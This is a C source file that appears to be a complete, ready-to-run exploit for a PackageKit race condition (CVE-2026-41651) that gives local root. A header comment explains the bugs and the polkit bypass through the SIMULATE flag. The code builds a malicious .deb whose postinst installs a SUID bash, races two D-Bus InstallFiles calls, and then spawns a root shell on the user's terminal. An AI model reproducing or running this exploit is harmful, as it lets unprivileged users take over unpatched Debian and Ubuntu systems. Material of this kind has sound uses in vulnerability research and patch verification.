File: /var/www/vhosts/byildiz.com.tr/httpdocs/xpl2026/CVE-2026-41651/src/cve-2026-41651.c
/*
* Pack2TheRoot (CVE-2026-41651) — PackageKit TOCTOU Local Privilege Escalation
*
* Affected : PackageKit 1.0.2 – 1.3.4
* Fixed in : PackageKit 1.3.5 (commit 76cfb675)
*
* Root cause — three cooperating bugs in src/pk-transaction.c:
*
* BUG 1 [line 4036] InstallFiles() stores cached_transaction_flags and
* cached_full_paths unconditionally; no state guard.
*
* BUG 2 [lines 876-881] pk_transaction_set_state() silently rejects backward
* transitions (READY→WAITING_FOR_AUTH); flags already
* overwritten.
*
* BUG 3 [lines 2273-2277] pk_transaction_run() reads cached flags at dispatch
* time, not at authorisation time.
*
* BYPASS[lines 2893-2900] SIMULATE flag (pk_bitfield_value=1<<2=4) skips polkit.
*
* Attack (zero-interaction, no polkit prompt):
*
* 1. InstallFiles(SIMULATE, dummy.deb)
* → polkit bypassed → state = READY
* → g_idle_add(pk_scheduler_run_idle_cb) [dispatch queued]
*
* 2. InstallFiles(NONE, payload.deb) [BUG 1 – before idle fires]
* → cached_transaction_flags ← NONE
* → cached_full_paths ← [payload.deb]
* → set_state(WAITING_FOR_AUTH) silently rejected [BUG 2]
*
* 3. GLib idle fires → pk_transaction_run() [BUG 3]
* → reads NONE flags + payload.deb
* → postinst runs as root → SUID bash → root shell
*
* Compile: make (see Makefile)
* Usage : ./cve-2026-41651
*/
#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>
#include <unistd.h>
#include <fcntl.h>
#include <errno.h>
#include <sys/file.h>
#include <sys/wait.h>
#include <sys/ioctl.h>
#include <time.h>
#include <sys/stat.h>
#include <glib.h>
#include <gio/gio.h>
/* ── config ────────────────────────────────────────────────────────────────── */
#define SUID_PATH "/tmp/.suid_bash"
#define PK_BUS "org.freedesktop.PackageKit"
#define PK_OBJ "/org/freedesktop/PackageKit"
#define PK_IFACE "org.freedesktop.PackageKit"
#define PK_TX_IFACE "org.freedesktop.PackageKit.Transaction"
#define FLAG_NONE ((guint64)0)
#define FLAG_SIMULATE ((guint64)(1u << 2)) /* bypasses polkit: pk_bitfield_value(PK_TRANSACTION_FLAG_ENUM_SIMULATE=2) */
/* ── utilities ─────────────────────────────────────────────────────────────── */
static void G_GNUC_NORETURN die(const char *m) { fprintf(stderr,"[-] %s\n",m); exit(1); }
/* ── CRC-32 (ISO 3309) ─────────────────────────────────────────────────────── */
static uint32_t crc_tab[256];
static void crc_init(void) {
for (unsigned i = 0; i < 256; i++) {
uint32_t c = i;
for (int j = 0; j < 8; j++) c = (c&1)?(0xedb88320u^(c>>1)):(c>>1);
crc_tab[i] = c;
}
}
static uint32_t crc32(const void *src, size_t n) {
const uint8_t *p = src; uint32_t c = 0xffffffffu;
while (n--) c = crc_tab[(c^*p++)&0xff]^(c>>8);
return c^0xffffffffu;
}
/* ── gzip (stored deflate block, max 65535 B) ─────────────────────────────── */
static size_t gzip_store(const void *src, size_t len, uint8_t *dst)
{
if (len > 0xffff) return 0;
uint8_t *p = dst;
/* header */
*p++=0x1f; *p++=0x8b; *p++=0x08; *p++=0x00;
p[0]=p[1]=p[2]=p[3]=0; p+=4; *p++=0x00; *p++=0xff;
/* stored block */
uint16_t ln=len, nln=~ln;
*p++=0x01; memcpy(p,&ln,2); p+=2; memcpy(p,&nln,2); p+=2;
memcpy(p,src,len); p+=len;
/* trailer */
uint32_t c=crc32(src,len), s=(uint32_t)len;
memcpy(p,&c,4); p+=4; memcpy(p,&s,4); p+=4;
return p-dst;
}
/* ── ustar tar entry (512-byte header + padded data) ──────────────────────── */
static size_t tar_entry(uint8_t *buf, const char *name, const void *data,
size_t dlen, mode_t mode, char type)
{
memset(buf,0,512);
snprintf((char*)buf, 100,"%s",name);
snprintf((char*)buf+100, 8,"%07o",(unsigned)mode);
snprintf((char*)buf+108, 8,"%07o",0u);
snprintf((char*)buf+116, 8,"%07o",0u);
snprintf((char*)buf+124, 12,"%011o", (unsigned)dlen);
snprintf((char*)buf+136, 12,"%011o", (unsigned)time(NULL));
memset(buf+148,' ',8);
buf[156]=type;
memcpy(buf+257,"ustar",5); memcpy(buf+263,"00",2);
unsigned sum=0; for(int i=0;i<512;i++) sum+=buf[i];
snprintf((char*)buf+148,8,"%06o",sum);
buf[154]='\0'; buf[155]=' ';
size_t pad=dlen?((dlen+511)/512)*512:0;
if(dlen&&data) memcpy(buf+512,data,dlen);
if(pad>dlen) memset(buf+512+dlen,0,pad-dlen);
return 512+pad;
}
/* ── ar member ─────────────────────────────────────────────────────────────── */
static void ar_entry(FILE *f, const char *name, const void *data, size_t sz)
{
char h[61]; memset(h,' ',60); h[60]=0;
char t[17]; snprintf(t,17,"%-16s",name); memcpy(h,t,16);
snprintf(t,13,"%-12lu",(unsigned long)time(NULL)); memcpy(h+16,t,12);
memcpy(h+28,"0 ",6); memcpy(h+34,"0 ",6);
memcpy(h+40,"100644 ",8);
snprintf(t,11,"%-10zu",sz); memcpy(h+48,t,10);
h[58]='`'; h[59]='\n';
fwrite(h,1,60,f); fwrite(data,1,sz,f);
if(sz%2) fputc('\n',f);
}
/* ── assemble a minimal .deb entirely in C ────────────────────────────────── */
static void build_deb(const char *dest, const char *pkg, const char *postinst)
{
static uint8_t tarbuf[65536], gzbuf[65536+256];
memset(tarbuf,0,sizeof tarbuf);
crc_init();
size_t off=0;
char ctrl[512];
snprintf(ctrl,sizeof ctrl,
"Package: %s\nVersion: 1.0\nArchitecture: all\n"
"Maintainer: PoC\nDescription: PoC\n", pkg);
off += tar_entry(tarbuf+off,"./",NULL,0,0755,'5');
off += tar_entry(tarbuf+off,"./control",ctrl,strlen(ctrl),0644,'0');
if(postinst)
off += tar_entry(tarbuf+off,"./postinst",postinst,strlen(postinst),0755,'0');
off += 1024; /* end-of-archive (two 512-byte zero blocks) */
size_t ctrl_gz_len = gzip_store(tarbuf, off, gzbuf);
if(!ctrl_gz_len) die("gzip_store failed");
static uint8_t empty_tar[1024], data_gz[256];
memset(empty_tar,0,sizeof empty_tar);
size_t data_gz_len = gzip_store(empty_tar,sizeof empty_tar,data_gz);
FILE *f = fopen(dest,"wb");
if(!f) die("fopen .deb");
fwrite("!<arch>\n",1,8,f);
ar_entry(f,"debian-binary","2.0\n",4);
ar_entry(f,"control.tar.gz",gzbuf,ctrl_gz_len);
ar_entry(f,"data.tar.gz",data_gz,data_gz_len);
fclose(f);
}
/* ── PackageKit D-Bus context ──────────────────────────────────────────────── */
typedef struct { GMainLoop *loop; guint32 exit_code; gboolean done; } Ctx;
static void cb_finished(GDBusConnection*c G_GNUC_UNUSED, const gchar*s G_GNUC_UNUSED,
const gchar*o G_GNUC_UNUSED, const gchar*i G_GNUC_UNUSED, const gchar*n G_GNUC_UNUSED,
GVariant *p, gpointer u)
{
Ctx *ctx=u; guint32 ec,rt;
g_variant_get(p,"(uu)",&ec,&rt);
printf("[*] Finished (exit=%u, %u ms)\n",ec,rt);
ctx->exit_code=ec; ctx->done=TRUE;
g_main_loop_quit(ctx->loop);
}
static void cb_error(GDBusConnection*c G_GNUC_UNUSED, const gchar*s G_GNUC_UNUSED,
const gchar*o G_GNUC_UNUSED, const gchar*i G_GNUC_UNUSED, const gchar*n G_GNUC_UNUSED,
GVariant *p, gpointer u G_GNUC_UNUSED)
{
guint32 code; const gchar *det;
g_variant_get(p,"(u&s)",&code,&det);
printf("[!] PK error %u: %s\n",code,det);
fflush(stdout);
}
/* PK status enum values (from pk-enum.h) */
static const char *pk_status_str(guint32 s) {
static const char *t[] = {
"UNKNOWN","WAIT","SETUP","RUNNING","QUERY","INFO","REMOVE","REFRESH_CACHE",
"DOWNLOAD","INSTALL","UPDATE","CLEANUP","OBSOLETE","DEP_RESOLVE","SIG_CHECK",
"ROLLBACK","COMMIT","REQUEST","FINISHED","CANCEL","WAITING_FOR_LOCK",
"SCAN_PROCESS_LIST","CHECK_EXECUTABLE_FILES","CHECK_LIBRARIES","COPY_FILES"
};
return s < 25 ? t[s] : "?";
}
static void cb_status(GDBusConnection*c G_GNUC_UNUSED, const gchar*s G_GNUC_UNUSED,
const gchar*o G_GNUC_UNUSED, const gchar*i G_GNUC_UNUSED, const gchar*n G_GNUC_UNUSED,
GVariant *p, gpointer u G_GNUC_UNUSED)
{
guint32 st;
g_variant_get(p,"(u)",&st);
printf("[*] Status: %u (%s)\n", st, pk_status_str(st));
fflush(stdout);
}
static gboolean cb_timeout(gpointer u)
{
fputs("[-] Timed out\n",stderr);
g_main_loop_quit(u);
return G_SOURCE_REMOVE;
}
static char *pk_create_tx(GDBusConnection *conn)
{
GError *e=NULL;
GVariant *r=g_dbus_connection_call_sync(conn,PK_BUS,PK_OBJ,PK_IFACE,
"CreateTransaction",NULL,G_VARIANT_TYPE("(o)"),
G_DBUS_CALL_FLAGS_NONE,-1,NULL,&e);
if(!r){ fprintf(stderr,"[-] CreateTransaction: %s\n",e->message); g_error_free(e); return NULL; }
const gchar *tid; g_variant_get(r,"(&o)",&tid);
char *copy=g_strdup(tid); g_variant_unref(r);
return copy;
}
/* fire-and-forget: both messages must hit the server socket before the
* GLib idle from Step 1 fires. Using async calls lets us enqueue Step 1
* AND Step 2 into the kernel socket buffer in one shot, so the server's
* main-loop dispatches Step 2 (priority 0) before the idle (priority 200). */
static void pk_install_files_async(GDBusConnection *conn, const char *tid,
guint64 flags, const char *path)
{
const char *paths[]={path,NULL};
g_dbus_connection_call(conn,PK_BUS,tid,PK_TX_IFACE,
"InstallFiles",g_variant_new("(t^as)",flags,paths),
NULL,G_DBUS_CALL_FLAGS_NONE,-1,NULL,NULL,NULL);
}
/* ── main ──────────────────────────────────────────────────────────────────── */
int main(void)
{
puts("═══════════════════════════════════════════════════");
puts(" CVE-2026-41651 — PackageKit TOCTOU LPE");
puts("═══════════════════════════════════════════════════");
if(geteuid()==0) die("Run as unprivileged user");
if(access("/etc/debian_version",F_OK)!=0)
die("Debian/Ubuntu required for built-in .deb builder");
/* build packages in /tmp */
char dummy[64], payload[64];
snprintf(dummy, sizeof dummy, "/tmp/.pk-dummy-%d.deb", getpid());
snprintf(payload,sizeof payload,"/tmp/.pk-payload-%d.deb",getpid());
char postinst[128];
snprintf(postinst,sizeof postinst,"#!/bin/sh\ninstall -m 4755 /bin/bash %s\n",SUID_PATH);
puts("[*] Building packages (pure C)...");
build_deb(dummy, "pk-poc-dummy", NULL);
build_deb(payload, "pk-poc-payload", postinst);
if(access(dummy,F_OK)!=0||access(payload,F_OK)!=0)
die("deb build failed");
printf("[+] dummy : %s\n", dummy);
printf("[+] payload : %s\n", payload);
/* D-Bus setup */
GError *err=NULL;
GDBusConnection *conn=g_bus_get_sync(G_BUS_TYPE_SYSTEM,NULL,&err);
if(!conn){ fprintf(stderr,"[-] %s\n",err->message); g_error_free(err); return 1; }
char *tid=pk_create_tx(conn);
if(!tid) return 1;
printf("[*] Transaction : %s\n",tid);
Ctx ctx={ .loop=g_main_loop_new(NULL,FALSE), .done=FALSE };
guint sf=g_dbus_connection_signal_subscribe(conn,PK_BUS,PK_TX_IFACE,"Finished",
tid,NULL,G_DBUS_SIGNAL_FLAGS_NONE,cb_finished,&ctx,NULL);
guint se=g_dbus_connection_signal_subscribe(conn,PK_BUS,PK_TX_IFACE,"ErrorCode",
tid,NULL,G_DBUS_SIGNAL_FLAGS_NONE,cb_error,NULL,NULL);
guint ss=g_dbus_connection_signal_subscribe(conn,PK_BUS,PK_TX_IFACE,"StatusChanged",
tid,NULL,G_DBUS_SIGNAL_FLAGS_NONE,cb_status,NULL,NULL);
/* ── EXPLOIT ─────────────────────────────────────────────────────────
*
* Both D-Bus calls are fire-and-forget so they land in the server's
* socket buffer together, BEFORE packagekitd's main-loop can run the
* GLib idle queued by Step 1. Priority ordering then guarantees:
* D-Bus dispatch (priority 0) > idle callback (priority 200)
* so the server executes:
* Step 1 → idle queued, state=RUNNING
* Step 2 → BUG 1 overwrites cached_* with payload.deb + NONE
* idle → BUG 3: pk_transaction_run reads overwritten cached_*
* → postinst runs as root → SUID bash
* ─────────────────────────────────────────────────────────────────── */
printf("[*] Step 1 : InstallFiles(SIMULATE=0x%llx, dummy) [async]\n",
(unsigned long long)FLAG_SIMULATE);
pk_install_files_async(conn, tid, FLAG_SIMULATE, dummy);
printf("[*] Step 2 : InstallFiles(NONE=0x%llx, payload) [async]\n",
(unsigned long long)FLAG_NONE);
pk_install_files_async(conn, tid, FLAG_NONE, payload);
/* flush: ensure both messages are in the kernel socket buffer before
* the server's main-loop gets a chance to run the idle. */
{
GError *fe = NULL;
if (!g_dbus_connection_flush_sync(conn, NULL, &fe)) {
fprintf(stderr,"[!] flush: %s\n", fe ? fe->message : "?");
g_clear_error(&fe);
}
}
puts("[*] Waiting for dispatch (30 s max)...");
{
struct timespec ts0, ts1;
clock_gettime(CLOCK_MONOTONIC, &ts0);
g_timeout_add_seconds(30, cb_timeout, ctx.loop);
g_main_loop_run(ctx.loop);
clock_gettime(CLOCK_MONOTONIC, &ts1);
printf("[*] Loop ran for %ld ms\n",
(ts1.tv_sec-ts0.tv_sec)*1000+(ts1.tv_nsec-ts0.tv_nsec)/1000000);
}
g_dbus_connection_signal_unsubscribe(conn,sf);
g_dbus_connection_signal_unsubscribe(conn,se);
g_dbus_connection_signal_unsubscribe(conn,ss);
/* do NOT unlink debs until after postinst completes */
g_free(tid); g_object_unref(conn);
/* Poll for the SUID bash for up to 120 seconds.
* The APT backend may still be running after polkitd fires. */
puts("[*] Polling for payload (120 s max)...");
struct stat st;
int appeared_at = -1;
for (int i = 0; i < 1200; i++) {
usleep(100000); /* 100 ms */
if (i % 10 == 0) {
/* Every second: check whether dpkg lock is actually held (flock test) */
int lock_fd = open("/var/lib/dpkg/lock", O_RDONLY);
int lock_held = 0;
if (lock_fd >= 0) {
lock_held = flock(lock_fd, LOCK_EX|LOCK_NB) != 0;
if (!lock_held) flock(lock_fd, LOCK_UN);
close(lock_fd);
}
printf("[*] t+%ds: payload=%s dpkg_lock=%s suid=%s\n",
(i/10)+1,
access(payload, F_OK) == 0 ? "exists" : "GONE",
lock_held ? "HELD" : "free",
access(SUID_PATH, F_OK) == 0 ? "FOUND" : "not yet");
fflush(stdout);
}
if (stat(SUID_PATH,&st)==0 && (st.st_mode&S_ISUID)) {
appeared_at = i;
break;
}
}
unlink(dummy); unlink(payload);
if (appeared_at >= 0) {
printf("\n[+] SUCCESS — SUID bash at t+%dms\n", appeared_at * 100);
pid_t p = fork();
if (p == 0) {
char *argv[]={ SUID_PATH, "-p", "-c", "id", NULL };
execv(SUID_PATH, argv);
perror("execv"); _exit(1);
} else if (p > 0) {
int status; waitpid(p, &status, 0);
}
fflush(stdout);
if (isatty(STDIN_FILENO)) {
char *ttydev = ttyname(STDIN_FILENO);
pid_t child = fork();
if (child == 0) {
setsid();
if (ttydev) {
int t = open(ttydev, O_RDWR);
if (t >= 0) {
ioctl(t, TIOCSCTTY, 1);
dup2(t, 0); dup2(t, 1); dup2(t, 2);
if (t > 2) close(t);
}
}
char *argv[]={ SUID_PATH, "-p", NULL };
execv(SUID_PATH, argv);
_exit(1);
}
if (child > 0) { int s; waitpid(child, &s, 0); }
}
return 0;
}
puts("[-] Exploit failed — SUID bash never appeared.");
return 1;
}